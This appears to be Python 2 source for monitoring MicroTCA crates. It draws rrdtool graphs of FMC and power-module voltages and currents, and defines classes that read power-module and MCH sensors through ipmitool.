"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#00CC00:FMC5RX1",
"LINE:t10#00CC00:FMC5RX2",
"LINE:t11#00FF33:FMC6RX1",
"LINE:t12#00FF33:FMC6RX2",
"LINE:t13#33CC99:FMC7RX1",
"LINE:t14#33CC99:FMC7RX2",
"LINE:t15#7777FF:FMC8RX1",
"LINE:t16#7777FF:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#7700EE:FMC10RX1",
"LINE:t20#7700EE:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF1166:FMC12RX1",
"LINE:t24#FF1166:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-v1.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC Pin 1 3.3V Voltage (V)",
"-w 400", "-h 200",
"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2V1:AVERAGE".format(filepath,rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1V1:AVERAGE".format(filepath,rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2V1:AVERAGE".format(filepath,rack,crate),
"LINE:t1#000000:FMC1RX1",
"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#99CC00:FMC5RX1",
"LINE:t10#99CC00:FMC5RX2",
"LINE:t11#00FF00:FMC6RX1",
"LINE:t12#00FF00:FMC6RX2",
"LINE:t13#00CC99:FMC7RX1",
"LINE:t14#00CC99:FMC7RX2",
"LINE:t15#0099CC:FMC8RX1",
"LINE:t16#0099CC:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#6600FF:FMC10RX1",
"LINE:t20#6600FF:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF0099:FMC12RX1",
"LINE:t24#FF0099:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-v2.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC Pin 2 3.3V Voltage (V)",
"-w 400", "-h 200",
"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2V2:AVERAGE".format(filepath,rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1V2:AVERAGE".format(filepath,rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2V2:AVERAGE".format(filepath,rack,crate),
"LINE:t1#000000:FMC1RX1",
"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#99CC00:FMC5RX1",
"LINE:t10#99CC00:FMC5RX2",
"LINE:t11#00FF00:FMC6RX1",
"LINE:t12#00FF00:FMC6RX2",
"LINE:t13#00CC99:FMC7RX1",
"LINE:t14#00CC99:FMC7RX2",
"LINE:t15#0099CC:FMC8RX1",
"LINE:t16#0099CC:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#6600FF:FMC10RX1",
"LINE:t20#6600FF:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF0099:FMC12RX1",
"LINE:t24#FF0099:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-v3.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC RSSI Voltage (V)",
"-w 400", "-h 200",
"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2V3:AVERAGE".format(filepath,rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1V3:AVERAGE".format(filepath,rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2V3:AVERAGE".format(filepath,rack,crate),
"LINE:t1#000000:FMC1RX1",
"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#99CC00:FMC5RX1",
"LINE:t10#99CC00:FMC5RX2",
"LINE:t11#00FF00:FMC6RX1",
"LINE:t12#00FF00:FMC6RX2",
"LINE:t13#00CC99:FMC7RX1",
"LINE:t14#00CC99:FMC7RX2",
"LINE:t15#0099CC:FMC8RX1",
"LINE:t16#0099CC:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#6600FF:FMC10RX1",
"LINE:t20#6600FF:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF0099:FMC12RX1",
"LINE:t24#FF0099:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-v4.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC GND Voltage (V)",
"-w 400", "-h 200",
#"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2V4:AVERAGE".format(filepath,rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1V4:AVERAGE".format(filepath,rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2V4:AVERAGE".format(filepath, rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1V4:AVERAGE".format(filepath, rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2V4:AVERAGE".format(filepath, rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1V4:AVERAGE".format(filepath, rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2V4:AVERAGE".format(filepath, rack,crate),
"LINE:t1#000000:FMC1RX1",
"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#99CC00:FMC5RX1",
"LINE:t10#99CC00:FMC5RX2",
"LINE:t11#00FF00:FMC6RX1",
"LINE:t12#00FF00:FMC6RX2",
"LINE:t13#00CC99:FMC7RX1",
"LINE:t14#00CC99:FMC7RX2",
"LINE:t15#0099CC:FMC8RX1",
"LINE:t16#0099CC:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#6600FF:FMC10RX1",
"LINE:t20#6600FF:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF0099:FMC12RX1",
"LINE:t24#FF0099:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-vcc.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC VCC Voltage (V)",
"-w 400", "-h 200",
"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1VCC:AVERAGE".format(filepath, rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2VCC:AVERAGE".format(filepath, rack, crate),
"LINE:t1#000000:FMC1RX1",
"LINE:t2#000000:FMC1RX2",
"LINE:t3#FF0000:FMC2RX1",
"LINE:t4#FF0000:FMC2RX2",
"LINE:t5#FF6600:FMC3RX1",
"LINE:t6#FF6600:FMC3RX2",
"LINE:t7#FFFF00:FMC4RX1",
"LINE:t8#FFFF00:FMC4RX2",
"LINE:t9#99CC00:FMC5RX1",
"LINE:t10#99CC00:FMC5RX2",
"LINE:t11#00FF00:FMC6RX1",
"LINE:t12#00FF00:FMC6RX2",
"LINE:t13#00CC99:FMC7RX1",
"LINE:t14#00CC99:FMC7RX2",
"LINE:t15#0099CC:FMC8RX1",
"LINE:t16#0099CC:FMC8RX2",
"LINE:t17#0000FF:FMC9RX1",
"LINE:t18#0000FF:FMC9RX2",
"LINE:t19#6600FF:FMC10RX1",
"LINE:t20#6600FF:FMC10RX2",
"LINE:t21#FF00FF:FMC11RX1",
"LINE:t22#FF00FF:FMC11RX2",
"LINE:t23#FF0099:FMC12RX1",
"LINE:t24#FF0099:FMC12RX2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-PMVout.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=Crate PM Output Voltage (V)",
"-w 400", "-h 200",
#"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/mch-{1}-{2}.rrd:PM1VoutA:AVERAGE".format(filepath, rack,crate),
"DEF:t2={0}/rrd/mch-{1}-{2}.rrd:PM1VoutB:AVERAGE".format(filepath, rack,crate),
"DEF:t3={0}/rrd/mch-{1}-{2}.rrd:PM2VoutA:AVERAGE".format(filepath, rack,crate),
"DEF:t4={0}/rrd/mch-{1}-{2}.rrd:PM2VoutB:AVERAGE".format(filepath, rack,crate),
"LINE:t1#000000:PM1VoutA",
"LINE:t2#FF0000:PM1VoutB",
"LINE:t3#00FF00:PM2VoutA",
"LINE:t4#0000FF:PM2VoutB")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-PMsumCurr.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=Crate PM Current (SUM) (V)",
"-w 400", "-h 200",
#"--upper-limit=4.5", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/mch-{1}-{2}.rrd:PM1sumCurr:AVERAGE".format(filepath, rack,crate),
"DEF:t2={0}/rrd/mch-{1}-{2}.rrd:PM2sumCurr:AVERAGE".format(filepath, rack,crate),
"LINE:t1#0000FF:PM1sumCurr",
"LINE:t2#FF0000:PM2sumCurr")
<file_sep>#!/usr/bin/env python
import subprocess
import sys
import os
import signal
import time
HOSTNAME = "mch-e1a04-18"
#Defining every board as a class, hence treating each card as an object with sensor data
#===============
# Start PM Class
#===============
class PM:
"""Power module object"""
def __init__(self, PMIndex):
self.PMIndex = PMIndex #PM index in crate
self.entity = "10.{0}".format(str(96 + self.PMIndex)) #converting PM index to ipmi entity
self.hostname = HOSTNAME
#Initializing empty variables
self.tempA = None
self.tempB = None
self.tempBase = None
self.VIN = None
self.VOutA = None
self.VOutB = None
self.volt12V = None
self.volt3V3 = None
self.currentSum = None
self.flavor = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-PM-DC840 type PMs #
#=========================================#
if "NAT-PM-DC840" in self.data[0]:
self.flavor = "NAT-PM-DC840"
if self.data == '':
print "Error or whatever"
else:
for item in self.data:
#Temperatures
if "TBrick-A" in item:
self.tempA = item.strip().split(" ")[17]
elif "TBrick-B" in item:
self.tempB = item.strip().split(" ")[17]
elif "T-Base" in item:
self.tempBase = item.strip().split(" ")[19]
#Input Voltage
elif "VIN" in item:
self.VIN = item.strip().split(" ")[22]
#Output Voltage
elif "VOUT-A" in item:
self.VOutA = item.strip().split(" ")[19]
elif "VOUT-B" in item:
self.VOutB = item.strip().split(" ")[19]
#12V
elif "12V" in item:
self.volt12V = item.strip().split(" ")[22]
elif "3.3V" in item:
self.volt3V3 = item.strip().split(" ")[21]
#Total utput current
elif "Current(SUM)" in item:
self.currentSum = item.strip().split(" ")[13]
#==========================================#
# End NAT-PM-DC840 block #
#==========================================#
return [self.tempA, self.tempB, self.tempBase, self.VIN, self.VOutA, self.VOutB, self.volt12V, self.volt3V3, self.currentSum]
def printSensorValues(self):
#self.getData()
if self.flavor == "NAT-PM-DC840":
print ''
print "==============================="
print " Sensor Values for PM{0} ".format(self.PMIndex)
print "==============================="
print ''
print "TBrick-A:", self.tempA, "degC"
print "TBrick-B:", self.tempB, "degC"
print "T-Base:", self.tempBase, "degC"
print "Input Voltage:", self.VIN, "V"
print "Ouput Voltage A:", self.VOutA, "V"
print "Output Voltage B:", self.VOutB, "V"
print "12V:", self.volt12V, "V"
print "3.3V:", self.volt3V3, "V"
print "Total Current:", self.currentSum, "V"
print ""
else:
print "Unknown PM flavor. Check code and PM class"
#=============
# End PM class
#=============
#================
# Start MCH class
#================
class MCH:
"""MCH object"""
def __init__(self, MCHIndex = 1):
self.MCHIndex = MCHIndex
self.entity = "194.{0}".format(str(96 + self.MCHIndex)) #converting MCH index to ipmi entity
self.hostname = "mch-e1a04-18"
#Initializing empty variables
self.flavor = None
self.tempCPU = None
self.tempIO = None
self.volt1V5 = None
self.volt1V8 = None
self.volt2V5 = None
self.volt3V3 = None
self.volt12V = None
self.current = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-MCH-MCMC type MCH #
#=========================================#
if "NAT-MCH-MCMC" in self.data[0]:
self.flavor = "NAT-MCH-MCMC"
for item in self.data:
if "Temp CPU" in item:
self.tempCPU = item.strip().split(" ")[18]
elif "Temp I/O" in item:
self.tempIO = item.strip().split(" ")[18]
elif "Base 1.2V" in item:
self.volt1V2 = item.strip().split(" ")[17]
elif "Base 1.5V" in item:
self.volt1V5 = item.strip().split(" ")[17]
elif "Base 1.8V" in item:
self.volt1V8 = item.strip().split(" ")[17]
elif "Base 2.5V" in item:
self.volt2V5 = item.strip().split(" ")[17]
elif "Base 3.3V" in item:
self.volt3V3 = item.strip().split(" ")[17]
elif "Base 12V" in item:
self.volt12V = item.strip().split(" ")[18]
elif "Base Current" in item:
self.current = item.strip().split(" ")[14]
#==========================================#
# End NAT-MCH-MCMC block #
#==========================================#
return [self.tempCPU, self.tempIO, self.volt1V2, self.volt1V8, self.volt2V5, self.volt3V3, self.volt12V, self.current]
def printSensorValues(self):
#self.getData()
if self.flavor == "NAT-MCH-MCMC":
print ''
print "==============================="
print " Sensor Values for MCH{0} ".format(self.MCHIndex)
print "==============================="
print ''
print "Temp CPU:", self.tempCPU, "degC"
print "Temp I/O:", self.tempIO, "degC"
print "Base 1.2V:", self.volt1V2, "V"
print "Base 1.5V:", self.volt1V5, "V"
print "Base 1.8V:", self.volt1V8, "V"
print "Base 2.5V:", self.volt2V5, "V"
print "Base 3.3V:", self.volt3V3, "V"
print "Base 12V:", self.volt12V, "V"
print "Base Current:", self.current, "V"
print ""
else:
